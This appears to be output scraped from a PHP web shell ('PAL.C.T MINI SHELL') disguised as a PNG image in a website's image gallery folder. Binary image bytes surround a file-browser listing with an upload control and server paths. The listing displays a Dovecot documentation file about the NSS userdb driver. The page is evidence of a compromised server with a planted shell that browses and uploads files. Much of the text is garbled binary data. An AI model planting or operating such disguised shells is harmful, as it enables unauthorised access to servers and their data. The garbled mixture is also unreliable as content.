php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/usr/share/doc/dovecot-2.0.9/wiki/
upload
files >> /var/www/html/img_galeri/2r1asasas/root/usr/share/doc/dovecot-2.0.9/wiki/UserDatabase.NSS.txt

NSS
===

Usually NSS [http://en.wikipedia.org/wiki/Name_Service_Switch] is used with
<passwd> [AuthDatabase.Passwd.txt] userdb, but it has one problem: It can't
distinguish between temporary and permanent errors. So if you're using e.g.
nss_ldap and your LDAP database is down, all userdb lookups may return "user
doesn't exist" errors. This is especially bad if you're using <LDA.txt>, which
causes the mails to be bounced back to sender.

The NSS userdb works around this problem by loading the NSS modules and calling
them itself. This is a bit kludgy, and it probably works only with Linux.

This userdb has two parameters:

 * *service=<name>*: This parameter is required. The name specifies what NSS
   module to use, for example "ldap".
 * *blocking=no* causes the lookups to be done in auth master processes instead
   of in worker processes.

Example
-------

---%<-------------------------------------------------------------------------
userdb {
  driver = nss
  args = service=ldap
}
---%<-------------------------------------------------------------------------

(This file was created from the wiki on 2011-01-13 04:52)
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`